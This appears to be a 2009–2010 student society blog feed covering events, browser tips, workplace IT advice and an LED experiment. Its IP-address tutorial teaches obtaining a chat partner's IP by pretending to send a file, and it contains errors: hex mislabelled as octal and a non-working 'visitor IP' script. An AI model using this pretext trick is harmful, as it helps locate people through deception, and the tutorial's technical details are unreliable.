COSIMS Blog

Lost?-Coldplay

noreply@blogger.com (Syed Sohaib Jamil) — Fri, 16 Jul 2010 20:31:00 +0000

DJ Night Photos :)

noreply@blogger.com (Syed Sohaib Jamil) — Sun, 21 Feb 2010 10:11:00 +0000

to view more photos click HERE

COSIMS Gaming Competition

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 02 Feb 2010 13:10:00 +0000

The cosims held a gaming competition. It was a fun event to organize; photos will be soon put here to show you how we play :).
All the games gone really grate (Counter Strike and Need For Speed Underground 2)
Now planing for programing competition lets see where it goes.
Congratulations to the winner

1. Counter Strike Won by Night Strikers

2. Need For Speed Underground 2 Won by Arsalan
3. Girls Event : Won by Ammara Paracha and Mehwish Malik

Regards;
President COSIMS

Corvit Systems Seminar

noreply@blogger.com (Syed Sohaib Jamil) — Fri, 20 Nov 2009 19:17:00 +0000

View Full Album

COSIMS Arranged Seminar on VOIP

These are some collection of photos:)

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New Technology Videos

noreply@blogger.com (Syed Sohaib Jamil) — Wed, 14 Oct 2009 19:45:00 +0000

Dear all i recently was not able to write stuff here because i got busy :)

Seen on bendecho

EMBED-Dog Chases Fake Soccer Ball - Watch more free videos

Getting ip address of other computers

noreply@blogger.com (Syed Sohaib Jamil) — Mon, 21 Sep 2009 19:47:00 +0000

Preface

Dear reader, in the following page I will teach you about ip addresses. Understanding ip address concepts is very important for any hacker or a computer networking professional. Please note that this tutorial is for beginners.

Contents-

What is an ip address
IP addressing system
What is my ip address?
More about IP Addresses
A B and C Class networks
Getting ip address of other computers
Getting IP address of visitors of your site

The tutorial begins. . .

What is an ip address and uniqueness of ip addresses

Every computer has its own ip address. This address must be unique for a particular network. Let suppose there is a LAN ( Local Area Network ) . In a LAN we connect 2 or more computers together to make a network so that they can share one or more services. A typical example is the network of a school or of a cyber cafe where computers are connected to share hard disk and internet connection respectively. Now consider a computer on a LAN. To communicate to other computers it must have a unique ip address. If two computers have the same ip address they both or one of them won't be able to work on network because every computer on any network communicates with other computer using ip address and if two computers have the same ip address , other computers won't be able to figure out that to which of the two computers they have to communicate as both of them have the same ip address.IP addressing system
Every ip address is of the form abc.def.ghi.jkl
For example 192.168.1.160 is a valid ip address. There are four octets in an IP address. The maximum value that a octet can have is 255 and minimum is 0. In our example 192 is the first octet . 0 is the second one and so on. An ip address is a 32 bit address. Let me change this ip address to bit format . The bit format of the above ip address is
11000000 10101000 00000001 10100000
Now as I know the binary arithmetic I have transformed this ip address. If you don't know the binary arithmetic don't worry I will teach a simple way of doing this. Just start windows calculator by clicking on Start then clicking on Run.. and type calc and press the OK button . A new window will pop up that and that is a windows in built calculator. If you are running this for first time you will be shown Standard view . Switch to Scientific view by click on View on Menu bar and then selecting scientific .
To change the number 192 to bit format just type 192 and then select bin on the left half of the calculator. The calculator will display the bit format.
Now there are other formats like octal and hex but we need not go in details . Just remember that ip address of a computer remains same regardless of the format . So connecting to a computer having an ip address 192.168.1.160 is same as connecting to a computer having ip address C0.A8.1.A0 (in the octal format)

What is my ip address?
Now you understand that every computer has its own ip address regardless whether it is on a network or not . You must the thinking that if a computer is not on a network then why it will require an ip address and what is the ip address of this computer. IP address is required not only for communicating to other computers but also for one more reason . There are many softwares that require to test themselves whether your computer has capability to connect to internet so there is a 'built in' ip address known as Loop Back ip address that always refer to the computer you are working on. This ip address is 127.0.0.1
Now you want to know your ip address. If you are not working on a LAN you may use the inbuilt windows utility known as WINIPCFG . To run this program Click on Start and click on RUN...and type winipcfg and press OK .
You will be able to see your ip address in the utility . Please note that if you are not connected to internet you will see your ip address as 127.0.01 and is you are connected to internet you will see the ip address as provided by the ISP . The ip address provided by the ISPs generally change each time you connect.If you are working on a LAN you are having your own LAN ip. To find it out first find out your computer name . To do so right click on Network Neighborhood and click on properties and then click on Identification tab . Your computer name is shown there. Let suppose your computer name is COMPUTER1
Open command prompt by clicking on Start then moving to Programs and then clicking on Command Prompt. You will get the command prompt as
C:\windows>
To toggle to full screen mode and window mode please use the key combination ALT+ENTERTo exit command prompt type exit and hit enter key.Just type in the command
C:\windows>tracert COMPUTER1
please change COMPUTER1 to the name you get in the identification tab of the properties of Network Neighborhood . You will get the result
Tracing route to COMPUTER1[192.168.0.1]
over a maximum of 30 hops:

1 <1 ms <1 ms <1 ms [192.168.0.1]
Trace complete.
The numbers in the brackets 192.168.0.1 is your LAN ip. Your LAN ip may be different . Alternatively you can use winipcfg to view the ip address but the above method is a general method that can be used to get the ip address of any computer on a LAN
I have assumed that you are using windows 98 . If you are using Windows NT the process will remain same except that command prompt may look some what different.

MORE ABOUT IP ADDRESSES

Every ip address consists of two parts - a network address and a host address . All computers in a network have the same network address and while the host address is unique to the computer only .The network address can occupy one to three octets from the left while the rest are reserved for host . For example , the ip address 192.168.0.1 has the host address 1 and the network address as 192.168.0 . You may think that this network can support 256 hosts(0 to 255) but in reality it can support 254 hosts because 0 and 255 are reserved.
A B and C Class networks
The number of octets reserved for the network address and the value of first octet determine the class to which the network belongs. The internet divides network into mainly three classes.
Class A address-
NOTE - N stands for network address and H for host address.
This address takes the form N.H.H.H . The N (network address is setup by NIC) and H by network administrator. If a US network is connected to the internet the network address has to be allotted by InterNIC - a body that distributes network addresses. N here takes values from 1 to 127. Columbia university has the value 15 . These address were allotted to very large organizations but are not longer assigned now.
Class B address- It uses the first two octets as network address.
Last two octets are used for host address. It can take values from 128 to 191. Many ISPs use this class.
Class C address-
Here the network address uses the first three octets and last one is used for host address. The first octet varies from 192 to 223. This class is used by small networks.In short, we have

Class Range

A 0.0.0.0 to 127.255.255.255

B 128.0.0.0 to 191.255.255.255

C 192.0.0.0 to 223.255.255.255

D 224.0.0.0 to 239.255.255.255

E 240.0.0.0 to 247.255.255.255

Getting ip address of other computers
You can easily get the ip address of websites. Lets us take an example.
Suppose you want to get the ip address of www.yahoo.com . To do so simply launch MS-DOS command prompt and type ping www.yahoo.com . You will get the following response.
C:\windows>ping www.yahoo.com

Pinging yahoo.com [216.115.108.245] with 32 bytes of data:

Request timed out.

Here 216.115.108.245 is the ip address of www.yahoo.com
Similarly if you want to get the ip address of a computer named comp1 on a LAN make sure that you are also on that LAN and then type ping comp1 at the command prompt and you will get the ip address of comp1.
Now let suppose you want to get the ip address of your friend's computer who is online. Here are the methods.
                                                 Using ICQ
Just ask your friend to join you on ICQ and start chatting with him , while you are chatting launch MS-DOS command prompt and type netstat -n and you will get the ip address of your friend. Please note that you should not use any other internet related software because that can add one more ip address in the output of netstat -n command. Here is a sample output
Active Connections

Proto     Local Address      Foreign Address           State
TCP     192.168.0.1:3537   203.195.136.156:2869   ESTABLISHED
In this case 192.168.0.1 is your ip address and 203.195.136.156 is the ip address of your friend.
                                      Using MSN and YAHOO MESSENGERS
In case of these messengers direct connection is not established between the two persons who are chatting instead the messages are sent via Yahoo or MSN messenger servers. So if you use the netstat -n command you will not find the ip address of your friend but of Yahoo or MSN messenger servers. Lets play a trick. Just ask your friend that you are sending him some important file via SEND FILE option of your messenger. While the file is being transferred run command netstat -n and you will find that a new ip address is listed there. This is the ip address of your friend because in case if a file is transferred via SEND FILE option of messengers a direct connection is made between your computer and yours friend computer.                                   GETTING IP ADDRESS OF VISITORS OF YOUR SITE
If you have a site , you may wish to record the ip address of the visitors who view your webpage. To do so you may include following script in the HTML code of your webpage

HTML

BODY

SCRIPT

var ip = new java.net.InetAddress.getLocalHost();

var ipStr = new java.lang.String(ip);

document.writeln(ipStr.substring(ipStr.indexOf("/")+1));

SCRIPT

BODY

HTML

7 Great FirefoxTweaks

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 15 Sep 2009 19:56:00 +0000

After using Internet Explorer for many years, I have to say that I really wish I would have switched to Firefox a lot earlier than I did! Firefox is by far the most customizable browser out there, with thousands of extensions and addons that you can download and plug in. Not only are there many third-party extensions to enhance Firefox, there are also tons of configuration settings that can be tweaked in Firefox itself.
Over the last few months, I’ve tweaked a good number of settings in Firefox and I thought I would share it with my Firefox readers. That way you can truly make Firefox YOUR browser. I’m going to go through a couple of Firefox about:config settings that you can change that made my browsing experience more enjoyable.

How to backup about:config file

Before you begin editing the about:config file in Firefox, you should back up the file in case you make a change that messes everything up. You can back it up by making a copy of the prefs.js, which is in the Firefox profile folder. For Windows, you will have to show Hidden Files and Folder by opening Control Panel, double-click Folder Options, select the View tab, select “Show hidden files and folders” and click OK.
For Windows XP
\Documents and Settings\username\Application Data\Mozilla\Firefox\Profiles\ .default\
For Windows Vista
Users\username\AppData\Roaming\Mozilla\Firefox\Profiles\.default\
For Mac OSX
username/Library/Application Support/Firefox/Profiles/profile.default/
For Linux
~/.mozilla/firefox/profile.default/

How to modify the about:config configuration in Firefox

First off, it’s probably a good idea to mention how to actually modify these advanced configuration settings in Firefox for those non-techie users. The configuration settings are simply a table of key names and values. You can access all of them by typing in about:config into your browser address bar.

To change a value for a key, simply enter it’s name into the Filter text box at the top. Double click on the entry and you can change the value. Restart the browser and the changes will take effect. So here are the tweaks:

Configure close button on Firefox tabs

Don’t you hate it when you’re trying to close one tab and you end up closing the one right next to it? Pain in the butt and very common (at least for me). You can control the close button on the tabs by changing the following key:

browser.tabs.closeButtons

0: Display a close button only on the currently active tab. A good way to prevent the closing of other tabs.
1: Display close buttons on all tabs (default).
2: Don’t display any close buttons; you have to press Ctrl-F4 to close a tab.
3: Display one close button at the end of the tab bar (Firefox 1.x’s default).

Increase number of tabs that can be displayed

Tabbed browsing is great and I’m such a big user of it that I end up having about 20 tabs open most of the time. By default, if you have more than 12 tabs open, Firefox will set the tabs to a specified width and then scroll the rest with arrows. One way to see more tabs if you’re a power tab user is to decrease the width of the Firefox tabs so that more can fit before scrolling starts. The default is 100 pixels, so you can choose something less to see what works best for you.
browser.tabs.tabMinWdith
100 pixels default value

Open search results in a new tab

This tweak is pretty cool and one of the best out there. Basically, when you perform a search from the search box at the top right in Firefox, it normally loads in the current tab. However, if you set the value of this setting to TRUE instead of FALSE, then every time you perform a search, a new tab will come up with the results, thereby leaving your current tab alone!
browser.search.openintab
False - Default value, set to True to load results in a new tab

Download and cache only pages you actually view

Firefox has an interesting feature whereby it tries to determine which links on a page you might click on and then downloads them so that it can load the pages faster. For example, it will try to download the top result from a Google search automatically. However, this eats up bandwidth and CPU cycles and saves web history of pages you may have never even visited! To turn it off, set the value to false.
network.prefetch-next
True – Default value, set it to False

Increase number of simultaneous downloads and connections to a server

From the networking point of view, you can increase a couple of different settings to increase network performance. network.http.max-connections controls how many simultaneous network connections Firefox will make at any one time to any number of Web servers. Default is set to 24, but you can knock it up to 32 to see if that has any effect. Anything above that will not do much.
network.http.max-connections-per-server controls how many separate connections Firefox makes to the same server, which allows for multiple elements to be download in parallel. Only do this if you have a fast connection and don’t raise it by too much otherwise you will be blacklisted. The default is 8 and you should only increase it by a few.
network.http.max-persistent-connections-per-server controls the number of persistent connections allowed per server. The default is 2 and this is generally the value people list when they are say you can increase the number of simultaneous downloads in Firefox. Again, don’t go more than 1 or 2 above the default as you could be temporarily blacklisted.

Turn off those annoying tool tips

Finally, you can get rid of all of those annoying tool tips that pop up every time you hover your mouse over a button by changing the config file. Personally, I already know what every single button on my toolbar does and it annoys me when they pop up and cover something else!
browser.chrome.toolbar_tips
True – Default value, set it to False to turn off tool tips

Use a custom search engine for the address bar

By default, if you type in a phrase that is not a web address into the address bar, Firefox sends the query to Google for a web search. You can change this so that it uses a different search engine if you prefer.
For Windows Live search:
http://search.live.com/results.aspx?q=
For a Yahoo search:
http://search.yahoo.com/search?p=
To go back to the default:
http://www.google.com/search?ie=UTF-8&oe=UTF-8&sourceid=navclient&gfns=1&q=
keyword.URL
Change to any of the following above to use a different search engine.
You can also check out the Mozilla page for a complete list of configurations that you can change with descriptions at about:config wiki page. Any other about:config changes that you like? Post a comment!

8 ways to help maintain your computer and devices at work

noreply@blogger.com (Syed Sohaib Jamil) — Fri, 11 Sep 2009 00:39:00 +0000

You most likely couldn't do your job without your computer and mobile devices. Everyday you use them to work on files, connect with people, and access resources. Keeping them running smoothly is important to working effectively.

So how do you start?

At work your computer and devices are part of a larger network. Keeping them running means you have to work closely with your corporate IT department. Working with them will save you time, save your company money, and help keep the network secure. This article includes tips and best practices for working with your corporate IT department to keep your computer and devices up-to-date and functioning properly.
Who owns the computer?

You use a computer at work, you may take it home, and you might even have a picture of your kids on the computer desktop. The computer, though, isn't yours. It's important to realize that your company owns that computer. They have the right to install patches and updates on a regular basis. By doing so, they can make sure your computer and the network run as smoothly as possible.

"It's common for IT departments to get complaints about patches being put on computers," said Jim DuBois, a general manager for IT at Microsoft. "But it is the best way for companies to make sure the network and computers remain secure."

To further protect their computers, many companies even prevent users from making changes to the settings or software installed on the computer.
Best practices for maintaining your computer

Use these best practices to help maintain and protect the computer you use at work. You should contact your IT department to determine their specific policies.

1.

Install all updates required by your IT department. Not installing updates as required by your IT department can expose your company to viruses and other security risks. Some companies even prevent computers from accessing the network if patches aren't installed after a set date. Also, find out whether the IT department wants you to install updates on Microsoft Update. If they do, make it a habit of checking Microsoft Update regularly. You'll save yourself the hassle of the IT department forcing you to install updates when it's not convenient for you.
2.

Install only licensed programs. Make sure that you or your company have a license for any software you install on your work computer. Your company can get sued for having software without a license installed on its computers. For example, installing a program your friend bought could present some problems. Software that you've bought a license for is probably fine, but double-check the license to make sure. Sometimes, software bought for home use can not be installed at work as well.
3.

Don't install different versions of software. Even if you prefer the version of software you use at home rather than work, don't install it on your work computer. You could have incompatibility problems with the software your co-workers are using and with your specific line of business applications. Your IT department may also not be able to make any required updates or provide technical support.
4.

Let IT know when hardware isn't working. Fixing a broken computer yourself could just cause more problems. Your fixes, for example, could make the computer incompatible with the corporate network. Most IT departments have a helpdesk or technical assistance program designed for this type of work. The IT department may have already seen the same problem and have a known fix. Helping your IT department track common computer problems can also help them decide which brand and make of computer to order in the future.
5.

Let IT know when you need something. Giving the IT department reasonable requests and adequate time for planning can help them respond to your needs. Otherwise, you may end up with computer software or hardware you didn't want, which can hinder how effective you are at work.
6.

Don't download programs from Internet sites you don't trust. By downloading programs that may not be secure, you put all the computers on the network at risk.
7.

Be aware of suspicious e-mails. A virus introduced though e-mail may be disguised as a downloadable file. If an e-mail you receive is from someone you don't know, contains strange text, or otherwise looks suspicious, contact your IT department. If you open it, you could potentially cause problems for you and you co-workers. If it does contain a virus, the IT department can ask other employees in the organization to look for similar e-mails.
8.

Use online support resources. Many IT departments have created online internal help sites that could provide an answer to your computer problem. Each day, Help desks typically receive many questions that are already answered at these sites. For help effectively using Microsoft products, you can also use the following resources:
Microsoft Office Online Assistance Center
Microsoft Knowledge Base
Windows Vista Solution Center

Buying pocket PCs and Smartphones to use at work:

If you work on the road, your company may provide you with a Microsoft Windows Mobile-based Smartphone or Pocket PC to stay in touch with the office. If you buy your own, though, check with the IT department to see whether they have a list of recommended devices. There are many options for devices and data and voice plans. Your IT department may have brands, models, and plans that they already support. Buying those will make it easier to connect to the network and get support if you need it.

Copyrighted To MICROSOFT

Back-up Your Facebook Contacts

noreply@blogger.com (Syed Sohaib Jamil) — Sun, 06 Sep 2009 10:30:00 +0000

Have you ever wondered if you could save or store contact information on all the friends you have on Facebook? Think about all the people from your past you’ve reconnected with, or if you have a Fan or Business page, all the contacts and networking you have with that group of folks. What if your account was suddenly disabled and you were cut off from your friends/contacts? This has happened to quite a few people, including Guy Kawasaki. It seems that if you ‘network’ too much, you could be disabled with no warnings.

Evidently, Facebook has a way to monitor activity in people’s accounts and if it looks too ‘spammy’, you’ll get whacked.
Facebook has two apps that can be used to make a backup of all your friends. One is called Friend CSV.(My Personal Fav......)
I used this program and it downloaded it and emailed a .csv file to me. I figured it was a good thing to do and probably good to run every few months to keep it updated. I’ll also run the program for my clients who are on Facebook.
You will notice that there is no checkbox for email or phone numbers. This is a source of consternation and concern for many Facebook users. There are ‘underground’ apps out there that you can install and run to capture the missing data, but from what I’m reading, you do so at your own risk. Take a look at this blog post from January, 2009 by Eric Eldon where he talks about blogger, Robert Scobler’s account being disabled The program in question is My FB Contacts 1.0 I’ve been reading stories about how some people are hesitating to use it, thinking they could get kicked off abruptly.

The other app from Facebook, is called Fonebook. I’m not even linking to it as the feedback was abysmal for this app.
Evidently, Robert Scobler didn’t hold any hard feelings after his account was disabled (I believe it was reinstated), as you can read his article from a couple of weeks ago where he spent some time with Facebook founder, Mark Zuckerberg at the recent World Economic Forum. He spoke to him about his feelings on Facebook’s policies. So we’ll see where that goes.

Happy Facebooking!

Ultrasmall Inorganic Light-Emitting Diodes

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 01 Sep 2009 07:28:00 +0000

A new process for creating ultrathin, ultrasmall inorganic light-emitting diodes (LEDs) and assembling them into large arrays offers new classes of lighting and display systems with interesting properties, such as see-through construction and mechanical flexibility, that would be impossible to achieve with existing technologies.

Applications for the arrays, which can be printed onto flat or flexible substrates ranging from glass to plastic and rubber, include general illumination, high-resolution home theater displays, wearable health monitors, and biomedical imaging devices.

“Our goal is to marry some of the advantages of inorganic LED technology with the scalability, ease of processing and resolution of organic LEDs,” said John Rogers, the Flory-Founder Chair Professor of Materials Science and Engineering at the University of Illinois.

Rogers and collaborators at the U. of I., Northwestern University, the Institute of High Performance Computing in Singapore, and Tsinghua University in Beijing describe their work in the Aug. 21 issue of the journal Science.

Compared to organic LEDs, inorganic LEDs are brighter, more robust and longer-lived. Organic LEDs, however, are attractive because they can be formed on flexible substrates, in dense, interconnected arrays. The researchers’ new technology combines features of both.

“By printing large arrays of ultrathin, ultrasmall inorganic LEDs and interconnecting them using thin-film processing, we can create general lighting and high-resolution display systems that otherwise could not be built with the conventional ways that inorganic LEDs are made, manipulated and assembled,” Rogers said.

To overcome requirements on device size and thickness associated with conventional wafer dicing, packaging and wire bonding methods, the researchers developed epitaxial growth techniques for creating LEDs with sizes up to 100 times smaller than usual. They also developed printing processes for assembling these devices into arrays on stiff, flexible and stretchable substrates.

As part of the growth process, a sacrificial layer of material is embedded beneath the LEDs. When fabrication is complete, a wet chemical etchent removes this layer, leaving the LEDs undercut from the wafer, but still tethered at anchor points.

To create an array, a rubber stamp contacts the wafer surface at selected points, lifts off the LEDs at those points, and transfers them to the desired substrate.

“The stamping process provides a much faster alternative to the standard robotic ‘pick and place’ process that manipulates inorganic LEDs one at a time,” Rogers said. “The new approach can lift large numbers of small, thin LEDs from the wafer in one step, and then print them onto a substrate in another step.”

By shifting position and repeating the stamping process, LEDs can be transferred to other locations on the same substrate. In this fashion, large light panels and displays can be crafted from small LEDs made in dense arrays on a single, comparatively small wafer. And, because the LEDs can be placed far apart and still provide sufficient light output, the panels and displays can be nearly transparent. The thin device geometries allow the use of thin-film processing methods, rather than wire bonding, for interconnects.

In addition to solid-state lighting, instrument panels and display systems, flexible and even stretchable sheets of printed LEDs can be achieved, with potential use in the health-care industry.

“Wrapping a stretchable sheet of tiny LEDs around the human body offers interesting opportunities in biomedicine and biotechnology,” Rogers said, “including applications in health monitoring, diagnostics and imaging.”

The work relied critically on broad, collaborative efforts at the U. of I. In addition to Rogers, the efforts included electrical and computer engineering professors Xiuling Li, an expert in epitaxial growth, and Kent Choquette, a leader in semiconductor optoelectronics. Mechanical science and engineering professor Placid Ferreira developed the printing-based manufacturing tools.
Theoretical collaborators at Northwestern University, led by professor Younggang Huang, and at Tsinghua University, under the guidance of Younggang’s father, professor Keh-chih Hwang, supported the project through calculations of mechanical strains in the flexible and stretchable systems. Researchers at the Institute for High Performance Computing in Singapore provided finite-element studies of the same systems.

“This sort of broadly interdisciplinary, integrated effort was essential for a successful outcome,” Rogers said. “It would be extremely difficult to replicate this type of project at any place other than at the U. of I.”

Rogers is affiliated with the Beckman Institute, the department of mechanical science and engineering, the Frederick Seitz Materials Research Laboratory, and the Micro and Nanotechnology Laboratory.

Ford Motor Co., the National Science Foundation and the U. S. Department of Energy funded the work.

5 ways Internet Explorer helps you get more done

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 01 Sep 2009 00:15:00 +0000

I used Microsoft Internet Explorer all day long, every day. I had arranged all the settings how I liked them, and I don't like change. I'm the kind of girl who just wants technology to work when I need it; I'm not into installing all the latest gadgets and upgrades so I can one-up my friends. So when I heard there was a new version of Internet Explorer, my first reaction was, "I don't need that."

1. Find what you need more quickly with tabbed browsing:

When you've buried something in a file cabinet, tabbed files are a life saver. A quick glance at each tab lets you know what lies beneath it so you don't have to open every file. When I'm doing research online, I'm insane with how many Web windows I have open. Nothing is more irritating than having a half dozen windows open and not knowing which one has the information I need. I waste a lot of time opening and closing windows.

Tabbed browsing lets you manage multiple Web sites within one browser window.
Two sub-features in tabbed browsing are worth mentioning. The first is Quick Tabs, which gives you a thumbnail view of up to 20 open tabs at a single glance. If your comprehension is better with visuals, this is the tab feature you'll like best.
Quick Tabs let you view thumbnails of up to 20 open tabs at once.
Internet Explorer 7 eliminates this problem with a feature called Tabbed Browsing. It enables people like me to manage multiple Web sites from within one browsing window. Just like opening a paper file drawer to see a row of titled files, now I just glance at the tabs across the top of my Internet Explorer 7 window to see the window I need, and I select it.

Two sub-features in tabbed browsing are worth mentioning. The first is Quick Tabs, which gives you a thumbnail view of up to 20 open tabs at a single glance. If your comprehension is better with visuals, this is the tab feature you'll like best.
The second is Tab Groups, which lets you organize multiple tabs into a single group and then save that group as a Favorite. This is basically an updated twist to the standard Favorites menu. Let's say you have saved all of your vendor Web sites into a vendor Tab Group in your Favorites menu. In the new Favorites Center (an addition to the old Favorites menu), a single click opens all of the sites in the Tab group.

2. Eliminate printing mishaps with advanced printing features:

Remember the last time you tried to print a Web site page? Remember how annoying it was to see that half the information was cut off on the right or left margin?

That problem is gone with Internet Explorer 7. The default shrinks a Web page's text just enough to ensure that the entire page prints properly. Plus, from within Print Preview, you can now adjust Web page margins, change the page layout, remove headers and footers, and increase or decrease the print space as desired.

Sure, this one saves me time. But it saves me money, too; no more wasted paper!

You can adjust margins, change the page layout, and more in Internet Explorer 7 Print Preview.

3. Search the Web directly from the Internet Explorer 7 toolbar:

In Internet Explorer 7, if you look for the little Windows flag icon in the upper-right corner that sometimes waves endlessly as Internet Explorer 6 works away, you won’t find it. That's because it's been removed to make room for the Instant Search Box. This handy new feature saves time, trust me. It enables you to choose a search provider from a drop-down list (MSN is the default search engine) and lets you add new providers to the list.

The new Toolbar Search Box makes searching the Web faster and easier.

No more opening new windows or sites when one search engine doesn't return a satisfactory search. Instead, you just select another provider from the menu and Internet Explorer 7 remembers the search term and transfers it to the new search engine you've chosen.

4. Save time with improved RSS feed support:

If you like to surf the Web for news or other changing information, this next Internet Explorer 7 enhancement can also save you a lot of time. Chances are that you've seen the little buttons such as "Get your RSS feed now!" on your favorite news or sports Web site. If you don't use one of these feeds yet, you probably will at some point because it's becoming popular.

RSS feeds enable you to have personalized news, sports or shopping links, headlines, and summaries delivered directly to your desktop. You can subscribe to as many feeds as you want, and then read them at your leisure all in one place without visiting individual Web sites.

Earlier versions of Internet Explorer didn't make it easy to use RSS feeds, but Internet Explorer 7 improvements let even mere mortals like me read the RSS feed directly in the browser. Instead of surfing individual Web sites for information, just scan the feed for stories that interest you.
When you're on a site in Internet Explorer 7, if the RSS Feed icon is illuminated, it means the site offers a feed. Click the icon, and you can subscribe to the RSS feed by clicking the Add/Subscribe button .

RSS feeds are integrated into Internet Explorer 7.
Come back to the page later by opening your Favorites Center. Now you can read news when it arrives and click headline links to get the complete Web page.

Have a quick view of all of your RSS feeds.

Personally, I can see using RSS feeds now a lot more as I get used to them and as more Web sites offer them. It's going to be a good way for those sites to push their information out to the masses, so don't say I didn't warn you that these feeds will become more and more prevalent. And, hey, if it saves me time, I'm all for it.

Note to tech support If you're part of the technical team supporting a business, the Windows RSS Platform is included as part of Windows Internet Explorer 7 in Windows Vista and Windows Internet Explorer 7 for Windows XP. Once a feed is subscribed to in one application, that subscription and associated content is made available for applications across the operating system.

5. Stop being bait with the new Phishing Filter:

One of the latest buzzwords on the Internet is "phishing." Anyone who has e-mail and uses the Internet is a potential victim, so listen up. Phishing occurs when an e-mail is sent falsely claiming to be an established, legitimate enterprise. You've probably gotten one of those e-mail messages already: It directs you to visit a Web site, often has an official logo, and asks you to update credit and other personal information.

The motive behind it? To trick you into visiting a bogus Web site that you think is authentic and scam you into releasing personal information to be stolen and used for illegitimate purposes. The sender is sending bait to thousands, hoping a few fish take it. Hence, the term "phishing," a variation on the leisure sport.

In Internet Explorer 7, a new Phishing Filter consolidates the latest industry information about fraudulent Web sites several times an hour and warns you when you attempt to visit a potentially untrustworthy site. A security status bar at the top of the Internet Explorer window pops up in yellow to notify you of potential problems, and in red if the Web site is a confirmed phishing destination. If the threat level is red, you are automatically navigated away from that site.

Phishing Filter helps limit security problems.

This is primarily a good thing for individuals but businesses benefit as well: Employees are less likely to accidentally share business financial information with nefarious sources in the course of their job. With so many of us doing business online these days, it's a good bet that businesses are at high risk for phishing attacks. Busy employees could easily see one of these e-mail messages as a quick request from a vendor, for example, and poof! There goes your business information. If you upgrade to Internet Explorer 7 for no other reason, let this be the one.

....................................................................................

Author Bio: S.E. Slack

S.E. Slack is a lifestyle and technology writer with more than 10 books to her credit. She co-authored Breakthrough Windows Vista and Office 2007 Solutions to help you easily use Windows Vista and Office 2007.

New Office 2010 build leaks

noreply@blogger.com (Syed Sohaib Jamil) — Mon, 31 Aug 2009 09:41:00 +0000

The most notable new feature is that Back-Stage view has been altered and enhanced alot more and looks like it's almost finished. There's a new upload center to store and share documents online - perhaps through live mesh - or it could be the Office Web Applications/Office Live Workspaces. Other noticable addins are a new Activation system and updated icons for all applications

The version that's been leaked is the well known "Mondo" build, which is the equivalent of the "Ultimate" SKU of Office 2007, but also comes with Visio and other seperate products. The last version of Mondo that was leaked caused widespread problems and was not able to be uninstalled from computers easily.

A new build of Office 2010 has surfaced around the web, identifying itself as "Microsoft Office 2010 Build 4417". The build is not a huge difference but offers small improvements and more stability over the previously leaked Mondo builds which were plauged with problems.

The Seven Segment Display

noreply@blogger.com (Syed Sohaib Jamil) — Wed, 26 Aug 2009 12:19:00 +0000

Introduction:

One common requirement for many different digital devices is a visual numeric display. Individual LEDs can of course display the binary states of a set of latches or flip-flops. However, we're far more used to thinking and dealing with decimal numbers. To this end, we want a display of some kind that can clearly represent decimal numbers without any requirement of translating binary to decimal or any other format.

One possibility is a matrix of 28 LEDs in a 7×4 array. We can then light up selected LEDs in the pattern required for whatever character we want. Indeed, an expanded version of this is used in many ways, for fancy displays. However, if all we want to display is numbers, this becomes a bit expensive. A much better way is to arrange the minimum possible number of LEDs in such a way as to represent only numbers in a simple fashion.

This requires just seven LEDs (plus an eighth one for the decimal point, if that is needed). A common technique is to use a shaped piece of translucent plastic to operate as a specialized optical fiber, to distribute the light from the LED evenly over a fixed bar shape. The seven bars are laid out as a squared-off figure "8". The result is known as a seven-segment LED.

We've all seen seven-segment displays in a wide range of applications. Clocks, watches, digital instruments, and many household appliances already have such displays. In this experiment, we'll look at what they are and how they can display any of the ten decimal digits 0-9 on demand.

Seven-Segment Display Layout:

The illustration to the right shows the basic layout of the segments in a seven-segment display. The segments themselves are identified with lower-case letters "a" through "g," with segment "a" at the top and then counting clockwise. Segment "g" is the center bar.

Most seven-segment digits also include a decimal point ("dp"), and some also include an extra triangle to turn the decimal point into a comma. This improves readability of large numbers on a calculator, for example. The decimal point is shown here on the right, but some display units put it on the left, or have a decimal point on each side.

In addition, most displays are actually slanted a bit, making them look as if they were in italics. This arrangement allows us to turn one digit upside down and place it next to another, so that the two decimal points look like a colon between the two digits. The technique is commonly used in LED clock displays.Seven-segment displays can be packaged in a number of ways. Three typical packages are shown above. On the left we see three small digits in a single 12-pin DIP package. The individual digits are very small, so a clear plastic bubble is molded over each digit to act as a magnifying lens. The sides of the end bubbles are flattened so that additional packages of this type can be placed end-to-end to create a display of as many digits as may be needed.

The second package is essentially a 14-pin DIP designed to be installed vertically. Note that for this particular device, the decimal point is on the left. This is not true of all seven-segment displays in this type of package.

One limitation of the DIP package is that it cannot support larger digits. To get larger displays for easy reading at a distance, it is necessary to change the package size and shape. The package on the right above is larger than the other two, and thus can display a digit that is significantly larger than will fit on a standard DIP footprint. Even larger displays are also available; some digital clocks sport digits that are two to five inches tall.

Seven-segment displays can be constructed using any of a number of different technologies. The three most common methods are fluorescent displays (used in many line-powered devices such as microwave ovens and some clocks and clock radios), liquid crystal displays (used in many battery-powered devices such as watches and many digital instruments), and LEDs (used in either line-powered or battery-powered devices). However, fluorescent displays require a fairly high driving voltage to operate, and liquid crystal displays require special treatment that we are not yet ready to discuss. Therefore, we will work with a seven-segment LED display in this experiment.

Schematic Diagram:

As shown in the two schematic diagrams above, the LEDs in a seven-segment display are not isolated from each other. Rather, either all of the cathodes, or all of the anodes, are connected together into a common lead, while the other end of each LED is individually available. This means fewer electrical connections to the package, and also allows us to easily enable or disable a particular digit by controlling the common lead. (In some cases, the common connections are made to groups of LEDs, and the external wiring must make the final connections between them. In other cases, the common connection is made available at more than one location for convenience in laying out printed circuit boards. When laying out circuits using such devices, you simply need to take the specific connection details into account.)

There is no automatic advantage of the common-cathode seven-segment unit over the common-anode version, or vice-versa. Each type lends itself to certain applications, configurations, and logic families. We'll learn more about this in later experiments. For the present, we will use a common-cathode display as our experimental example.

Parts List:

To construct and test the seven-segment LED display on your breadboard, you will need the following experimental parts:

Common-cathode seven-segment LED display (Texas Instruments TIL322A or equivalent).
Orange hookup wire.
Black hookup wire.

Constructing the Circuit:

Select an area on your breadboard socket that is clear of other circuits. You'll need one set of five bus contacts for this project. Then refer to the image and text below and install the parts as shown.

Circuit Assembly

Starting the Assembly

